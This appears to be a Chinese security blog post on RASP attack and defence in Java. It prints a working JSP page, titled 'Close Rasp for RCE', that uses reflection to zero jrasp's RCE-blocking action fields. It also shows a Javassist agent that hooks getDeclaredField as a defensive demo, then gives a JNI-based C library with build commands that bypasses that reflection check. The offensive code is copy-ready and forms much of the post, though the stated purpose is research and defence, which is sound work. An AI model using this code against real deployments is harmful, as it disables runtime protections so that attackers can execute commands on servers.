戳上面的蓝字关注我吧!
最近在研究RASP的攻防场景,接触到利用JNI的方式绕过RASP的检测,同时研究了利用反射来关闭RASP的检测开关的时候,思考了一下防御视角可能会怎么防御。
详细的分析手法可以看凌日实验室公众号发布的《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw
会获取检测的action字段的值,因此该action的值就决定了是否会拦截。
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.lang.Thread" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Close Rasp for RCE</title>
</head>
<body>
<%
Field raspClassLoaderMap = Thread.currentThread().getContextClassLoader().loadClass("com.jrasp.agent.AgentLauncher").getDeclaredField("raspClassLoaderMap");
raspClassLoaderMap.setAccessible(true);
Map map = (Map)raspClassLoaderMap.get(null);
ClassLoader raspCLassLoader = (ClassLoader) map.get("jrasp");
Field algorithmMaps = raspCLassLoader.loadClass("com.jrasp.core.algorithm.DefaultAlgorithmManager").getDeclaredField("algorithmMaps");
algorithmMaps.setAccessible(true);
Map algorithmMap = (Map) algorithmMaps.get(null);
Field RceCheckList = algorithmMap.get("rce").getClass().getDeclaredField("list");
RceCheckList.setAccessible(true);
List RceList = (List)RceCheckList.get(null);
for(int i=0;i<RceList.size();i++){
Object RceAlgorithm = RceList.get(i);
Field action = RceAlgorithm.getClass().getSuperclass().getDeclaredField("action");
action.setAccessible(true);
action.set(RceAlgorithm,0);
}
out.println("Succeed");
%>
</body>
</html>
后续通过反射的方式来动态修改action字段的值。
在关闭RASP的JSP文件中,可以看出用了反射的方式获取了对应的字段名称,因此我这里的想法就是Hook反射中常见的java.lang.Class的getDeclaredField()方法。
我这里重新编写了一个Hello.jar包,来模拟真实攻击者调用反射获取字段的时候,RASP是怎么来拦截的。
package javaTest;
import java.lang.reflect.Field;
public class Hello {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
Field f = cls.getDeclaredField("stub");
System.out.println(cls.getName());
f.setAccessible(true);
System.out.println(f.getName());
}
}
可以拿到stub的字段对象
我这里手动编写了一个agent,用来模拟RASP的检测
package io.onedev.agent;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
/**
* Hello world!
*
*/
public class App
{
private static final String HOOK_CLASS = "java.lang.Class";
public static void agentmain(String args, Instrumentation instrumentation) throws Exception {
//instrumentation.addTransformer(new DefineTransformer(), true);
loadAgent(args,instrumentation);
}
private static void loadAgent(String arg, final Instrumentation inst) {
// 创建DefineTransformer对象
ClassFileTransformer classFileTransformer = new DefineTransformer();
// 添加自定义的Transformer,第二个参数true表示是否允许Agent Retransform,
// 需配合MANIFEST.MF中的Can-Retransform-Classes: true配置
inst.addTransformer(classFileTransformer, true);
// 获取所有已经被JVM加载的类对象
Class[] loadedClass = inst.getAllLoadedClasses();
for (Class clazz : loadedClass) {
String className = clazz.getName();
if (inst.isModifiableClass(clazz)) {
// 使用Agent重新加载字节码,java.lang.Class必须用重新加载才可以Hook
if (className.equals(HOOK_CLASS)) {
try {
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
}
}
}
public static void premain(String args, Instrumentation instrumentation) throws Exception {
agentmain(args,instrumentation);
}
static class DefineTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(HOOK_CLASS.replace(".", "/").equals(className)){
try {
ClassPool pool = ClassPool.getDefault();
//ClassPool pool = new ClassPool(true);
ClassClassPath classPath = new ClassClassPath(this.getClass());
pool.insertClassPath(classPath);
//将当前ClassLoader添加到ClassPath
pool.appendClassPath(new LoaderClassPath(loader));
pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
pool.appendSystemPath(); // the same class path as the default one.
pool.childFirstLookup = true;
CtClass ctClass = pool.get(HOOK_CLASS);
CtMethod ctMethod = ctClass.getDeclaredMethod("getDeclaredField",new CtClass[] {pool.get("java.lang.String")});
for(CtClass cls : ctMethod.getParameterTypes()) {
System.out.println(cls.getName());
}
ctMethod.insertBefore(
"String name = $0.getName();" +
"boolean isRaspClass = name.replace(\"class \", \"\").startsWith(\"sun.tools.attach\");" +
" if (isRaspClass) {" +
" throw new SecurityException(\"Cannot get a sun.tools.attach Class\" +\r\n" +
" \" Field\");" +
" }");
System.out.println("Access In Method");
return ctClass.toBytecode();
} catch (Throwable e) {
System.out.println("Access In ExceptionCatch Method");
e.printStackTrace();
}
}
return null;
}
}
}
在方法前织入了如下代码:
String name = $0.getName();
boolean isRaspClass = name.replace("class ", "").startsWith("sun.tools.attach");
if (isRaspClass) {
throw new SecurityException("Cannot get a sun.tools.attach Class Field");
}
$0就是当前方法的this对象
成功拦截掉反射“sun.tools.attach”开头的类。
上述模拟了RASP场景下,检测反射获取字段的方法,对其包的完全限定名进行判定,以"sun.tools.attach"开头的类名的字段就禁止反射。
针对此类场景我思考了一些我自己的想法,想着看能不能通过JNI的方式关闭RASP。但因为完成攻击首先就需要有一个代码执行的场景,其次是已经有JNI注入了,完全可以通过JNI的方式绕过RASP来完成命令执行,因此我这里也只是当作一种拓展面的方式来分享一些吧。
package javaTest;
import java.lang.reflect.Field;
public class Hello {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("java.lang.Runtime");
Field f = cls.getDeclaredField("currentRuntime");
f.setAccessible(true);
Object obj = (Object)Runtime.getRuntime();
System.out.println(obj);
}
}
打包运行截图如下
明显可以看出使用有RASP Agent的场景无法获取到Runtime类中currentRuntime字段存放的实例。
下面我再利用JNI注入的方式绕过反射检测。
首先创建一个Native函数,函数会返回一个Object对象,也就是Runtime类中currentRuntime静态字段存放的实例。
package com.rasp.demo;
import java.io.File;
import java.lang.reflect.Field;
public class JniDemo {
{
String realPath = System.getProperty("user.dir") + File.separator +"raspDemo.so" ;
System.load(realPath);
}
public native Object GetStaticField(String cls,String fieldName);
public static void main(String[] args) throws Exception {
JniDemo demo = new JniDemo();
System.loadLibrary("attach");
Object obj = demo.GetStaticField("java.lang.Runtime","currentRuntime");
System.out.println(obj);
}
}
有个这个,就可以通过以下命令生成一个头文件
javac -cp . ./com/rasp/demo/JniDemo.java -h com.rasp.demo.JniDemo
头文件内容如下
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_rasp_demo_JniDemo */
#ifndef _Included_com_rasp_demo_JniDemo
#define _Included_com_rasp_demo_JniDemo
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: com_rasp_demo_JniDemo
* Method: GetStaticField
* Signature: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Object;
*/
JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField
(JNIEnv *, jobject, jstring, jstring);
#ifdef __cplusplus
}
#endif
#endif
里面有一个Java_com_rasp_demo_JniDemo_GetStaticField函数名称,就是我们需要实现的函数。
我的实现内容如下:
#include "com_rasp_demo_JniDemo.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
char *replaceAll(const char *in, const char *pat, const char *replace) {
const int replaceLen = (int)strlen(replace);
const int patLen = (int)strlen(pat);
char *str = malloc(strlen(in)+1);
strcpy(str, in);
for(;;) {
char *p = strstr(str, pat);
if (p == NULL) return str;
int replace_pos = (int)(p - str);
int tail_len = (int)strlen(p + patLen);
char *newstr = malloc(strlen(str) + (replaceLen - patLen) + 1);
memcpy(newstr, str, replace_pos);
memcpy(newstr + replace_pos, replace, replaceLen);
memcpy(newstr + replace_pos + replaceLen, str + replace_pos + patLen, tail_len+1);
free(str);
str = newstr;
}
return str;
}
JNIEXPORT jobject JNICALL Java_com_rasp_demo_JniDemo_GetStaticField
(JNIEnv *env, jobject obj,jstring clsName,jstring fieldName){
const char *cstr = (*env)->GetStringUTFChars(env, clsName, NULL);
const char *field_str = (*env)->GetStringUTFChars(env, fieldName, NULL);
char *className = replaceAll(cstr, ".", "/");
jclass classtring = (*env)->FindClass(env,className);
if (classtring == NULL) {
return NULL;
}
jfieldID currentRuntime = (*env)->GetStaticFieldID(env, classtring, field_str, "Ljava/lang/Runtime;");
jobject runtime_object = (*env)->GetStaticObjectField(env, classtring, currentRuntime);
(*env)->ReleaseStringUTFChars(env,clsName,cstr);
(*env)->ReleaseStringUTFChars(env,fieldName,field_str);
return runtime_object;
}
之后将c代码编译成so文件
gcc -fPIC -I "/usr/lib/jvm/java-11-openjdk-amd64/include" -I"/usr/lib/jvm/java-11-openjdk-amd64/include/linux" -shared -o raspDemo.so raspDemo.c
同时将我们的前面写的JniDemo类打包成jar文件,并附加我们的RASP Agent运行
成功绕过RASP的反射检测,拿到对象实例。
确实,JNI可以操作的空间很大,不仅能从C代码执行相关操作,同时又可以在C代码中调用Java代码,来回切换、反复横跳,有着很大的操纵空间来规避RASP和HIDS等安全防护产品。在研究这个绕过思路的时候,发现还可以删除对象的Reference引用,熟悉JVM的GC垃圾回收机制的程序员就会知道,一个对象没有引用的时候,是会被GC给回收回去。所以我思考了一下,是否可以通过删除对RASP自定义的ClassLoader的引用,来隔绝ClassLoader加载的类和GC Root的关系,从而使RASP失去防御。
当然,上述场景我也没有验证过,也只是我的一点思考。不过因最近学业繁重,每天都需要花费更多的时间来复习当天所学,关于JNI的一些思考还是留着以后有机会再深入吧。
[1].《RASP的安全攻防研究实践》:https://mp.weixin.qq.com/s/uboamTu5LinvFcDktmL3Xw
[2].https://blog.csdn.net/sujudz/article/details/9019897
[3].https://www.cnblogs.com/c-x-a/p/15609219.html
[4].https://www.cnblogs.com/yongdaimi/p/14023154.html